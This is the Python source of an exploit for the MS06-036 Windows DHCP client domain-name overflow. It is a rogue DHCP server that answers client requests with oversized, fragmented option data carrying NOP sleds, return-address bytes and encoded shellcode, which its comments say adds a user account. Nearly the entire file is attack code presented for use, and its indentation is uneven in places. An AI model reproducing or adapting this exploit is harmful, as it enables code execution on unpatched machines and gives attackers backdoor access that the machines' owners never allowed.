Exploit.Python.Ms06-036.a - Source Code

#!/usr/bin/env python
#
#
# by redsand@blacksecurity.org
#   this (like any thing) would not be possible w/out the bl4ck team.
#   thanks guys.
#

import sys, os

sys.path.append("pydhcplib")

from scapy import *

from pydhcplib.dhcp_packet import *
from pydhcplib.dhcp_network import *
from pydhcplib.type_strlist import *
from pydhcplib.type_ipv4 import *
from pydhcplib.type_hw_addr import *

inet_face = "vmnet8"

default_ip = "10.31.33.7"

# user bl4ck/bl4ck
# this exits via Thread (so thta we kill the dhcp thread in services.exe
#
# this means if services doesn't crash, it was a successful exploit
#
scode = "\x31\xc9\x83\xe9\xcb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x13" \
"\x43\x32\xa5\x83\xeb\xfc\xe2\xf4\xef\xab\x76\xa5\x13\x43\xb9\xe0" \
"\x2f\xc8\x4e\xa0\x6b\x42\xdd\x2e\x5c\x5b\xb9\xfa\x33\x42\xd9\xec" \
"\x98\x77\xb9\xa4\xfd\x72\xf2\x3c\xbf\xc7\xf2\xd1\x14\x82\xf8\xa8" \
"\x12\x81\xd9\x51\x28\x17\x16\xa1\x66\xa6\xb9\xfa\x37\x42\xd9\xc3" \
"\x98\x4f\x79\x2e\x4c\x5f\x33\x4e\x98\x5f\xb9\xa4\xf8\xca\x6e\x81" \
"\x17\x80\x03\x65\x77\xc8\x72\x95\x96\x83\x4a\xa9\x98\x03\x3e\x2e" \
"\x63\x5f\x9f\x2e\x7b\x4b\xd9\xac\x98\xc3\x82\xa5\x13\x43\xb9\xcd" \
"\x2f\x1c\x03\x53\x73\x15\xbb\x5d\x90\x83\x49\xf5\x7b\xac\xfc\x45" \
"\x73\x2b\xaa\x5b\x99\x4d\x65\x5a\xf4\x20\x5f\xc1\x3d\x26\x4a\xc0" \
"\x33\x6c\x51\x85\x7d\x26\x46\x85\x66\x30\x57\xd7\x33\x21\x5e\x91" \
"\x70\x28\x12\xc7\x7f\x77\x51\xce\x33\x6c\x73\xe1\x57\x63\x14\x83" \
"\x33\x2d\x57\xd1\x33\x2f\x5d\xc6\x72\x2f\x55\xd7\x7c\x36\x42\x85" \
"\x52\x27\x5f\xcc\x7d\x2a\x41\xd1\x61\x22\x46\xca\x61\x30\x12\xc7" \
"\x7f\x77\x51\xce\x33\x6c\x73\xe1\x57\x43\x32\xa5"



netopt = {'client_listen_port':"68",
           'server_listen_port':"67",
           'listen_address':"0.0.0.0"}


def substr(i,o,off):
    begin=i[:off]
    end=i[off+len(o):]
    ret=begin+o+end
    return ret

def io(i):
    str=""
    a=chr(i % 256)
    i=i >> 8
    b=chr(i % 256)
    i=i >> 8
    c=chr(i % 256)
    i=i >> 8
    d=chr(i % 256)

    str+="%c%c%c%c" % (a,b,c,d)

    return str

class Server(DhcpServer):
    def __init__(self, options):
        DhcpServer.__init__(self,options["listen_address"],
                            options["client_listen_port"],
                            options["server_listen_port"])

    def HandleDhcpDiscover(self, packet):
    my_reqip = ''

    my_reqip = default_ip

    sid_i = my_reqip.rfind(".")
    server_ip = my_reqip[0:sid_i] + ".254"

    our_ip = my_reqip[0:sid_i] + ".2"

    mymac = hwmac(packet.GetHardwareAddress()).str()
        print "** Received discover from %s (%s)" % (mymac,my_reqip)

    mpacket = DhcpPacket()
    mpacket.CreateDhcpOfferPacketFrom(packet)
    mpacket.SetOption("dhcp_message_type",[2])
    mpacket.SetOption("yiaddr", ipv4(my_reqip).list())
    mpacket.SetOption("siaddr", ipv4(server_ip).list())
    mpacket.SetOption("ip_address_lease_time",[0,0,7,8])
    mpacket.SetOption("flags",[0,0])
    mpacket.SetOption("server_identifier", ipv4(server_ip).list())
    mpacket.SetOption("subnet_mask", ipv4("255.255.255.0").list())
    mpacket.SetOption("domain_name_server", ipv4(our_ip).list())
    mpacket.SetOption("router",ipv4(our_ip).list())

        mpacket.SetOption("domain_name",strlist( ( "N" * 255 )).list())

    append = "\xfa\xff" + ( "\x90" * 0xff )
    append = "\xfa\xff" + ( "\x90" * 0xff )
    append = "\xfa\xff" + ( "\x90" * 0xff )
    append = "\xfa\xff" + ( "\x90" * 0xff )
    append = "\xfa\xff" + ( "\x90" * 0xff )

    p = Ether(dst=mymac,src=get_if_hwaddr(inet_face))/IP(src=server_ip,dst="255.255.255.255",ttl=16)/UDP(sport=67,dport=68)/mpacket.EncodePacket('')

    print "** Sending DHCP Offer Packet to %s from %s" % (my_reqip,server_ip)
    sendp(p, iface=inet_face, verbose=False)

    def HandleDhcpRequest(self, packet):


    ip = packet.GetOption("request_ip_address")
        sid = packet.GetOption("server_identifier")
        ciaddr = packet.GetOption("ciaddr")
    my_reqip = ''
    try:
        data = packet.options_data['request_ip_address']
        for i in range(0,len(data),4) :
                        if len(data[i:i+4]) == 4 :
                            my_reqip += ipv4(data[i:i+4]).str()
    except:
        my_reqip = default_ip

    mymac = hwmac(packet.GetHardwareAddress()).str()
        print "** Received request from %s (%s)" % (my_reqip,mymac)
    sid_i = my_reqip.rfind(".")
    server_ip = my_reqip[0:sid_i] + ".254"

    our_ip = my_reqip[0:sid_i] + ".2"

    mypacket = DhcpPacket()
    mypacket.CreateDhcpAckPacketFrom(packet)
    mypacket.SetOption("yiaddr", ipv4(my_reqip).list())

    dumbstr = "\x90" * 0xFF

    # we're looking for a jmp/call ebx ?! or landing in our codespace
    # directly

    # C5 converts to 253C
    # BB = 2557
    # AA = 00AC
    # DD = 258C
    # EE = 03B5
    # 88 = 00D6
    # 99 = 00EA
    # F3 = 2591
    # B0 = 2264
    # 8F = 00c5

    eipstr = ( "\xB9\x0b" * ( 254 / 2) ) + "\x64"
    #eipstr = "C" * 0xFF


    payload = "\x42" * 0xFF
    payload = substr(payload, scode, 1)


    ## find location in heap to ret2
    # find offset & append as many "\x26\x6e\x43\x6e"
    # to increment ebx to a non trashed location (since ebx points to our code)
    # then push ebx \x53 and  \xc4 (retn)
    #
    # we're looking for a pop+pop+ret or a jmp/call ebx to return to our
    # unicode filtered input
    # note it must be iwthin the bounds of 0x0000**** - 0x0070****
    # or 0x22***** <-- wont help us

    append = "\x0f\xff" + ( "\x90" * 0xff )
    append += "\xfa\xff" + ( dumbstr )
    append += "\xfa\xff" + ( dumbstr )
    append += "\xfa\xff" + ( dumbstr )
    append += "\xfa\xff" + ( dumbstr )
    append += "\xfa\xff" + ( eipstr )
    append += "\xfa\xff" + ( eipstr )
    append += "\xfa\xff" + ( dumbstr )
    append += "\xfa\xff" + ( dumbstr )
    append += "\xfa\xff" + ( dumbstr )
    append += "\xfa\xff" + ( dumbstr )
    append += "\xfa\xff" + ( dumbstr )
    append += "\xfa\xff" + ( dumbstr )
    append += "\xfa\xff" + ( payload[0:254]) + "\x00"

    print "Length of our attack: %r" % len(append)

    eth = Ether(dst=mymac,src=get_if_hwaddr(inet_face))
    p = fragment(IP(src=server_ip,dst=my_reqip,ttl=16)/UDP(sport=67,dport=68)/mypacket.EncodePacket(append), 1024)
    print "** Sending DHCP ACK response (len: %r) to %s from %s" % (len(append), my_reqip,server_ip)
    for i in p:
        sendp(eth/i, iface=inet_face, verbose=False)

    def HandleDhcpDecline(self, packet):
    return
    #print "** Dhcp Declined"
        #packet.PrintHeaders()
        #packet.PrintOptions()

    def HandleDhcpRelease(self, packet):
    return
        #packet.PrintHeaders()
        #packet.PrintOptions()

    def HandleDhcpInform(self, packet):
    return
        #packet.PrintHeaders()
        #packet.PrintOptions()



print "[BL4CK] - MS06-036 DHCP Client Domain Name Overflow"
print "\t by redsand@blacksecurity.org"
print "Usage: %s [interface] [forced request ip]" % sys.argv[0]
print ""


if len(sys.argv) > 1:
    inet_face = sys.argv[1]

if len(sys.argv) > 2:
    default_ip = sys.argv[2]

print "Listening for client requests:\n"
print "Listening on interface: %s" % inet_face
print "Using default address: %s" % default_ip

server = Server(netopt)

while True :
    server.GetNextDhcpPacket()